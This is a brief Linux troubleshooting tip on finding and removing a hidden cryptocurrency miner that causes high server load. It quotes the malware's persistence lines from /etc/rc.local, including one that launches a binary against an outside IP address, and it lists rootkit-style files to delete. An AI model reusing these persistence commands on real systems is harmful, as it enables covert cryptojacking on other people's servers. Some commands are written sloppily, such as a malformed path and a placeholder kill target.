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Fixing high server loads caused by mining processes in Linux
If you encounter an abnormal high load process in your server, it may be due to hidden mining processes.
vi /etc/rc.local
Check for the following 2 lines in the file and remove it:
nohup /usr/bin/_-pud 119.78.232.8 >/dev/null&
nohup /usr/bin/_-minerd -c /usr/bin_-config 2> /dev/null&
Remove the following files:
rm /usr/bin/_-minerd rm /usr/bin/_-pud rm /usr/bin/_-config rm /etc/ld.so.preload rm /lib64/libncom.so.4.0.1
Run the top command to view the running processes:
top
If the process “_minerd” is found, use the kill command to end the process with the following
kill -9 $_minerd # Replace $_minerd with the process ID as seen when running top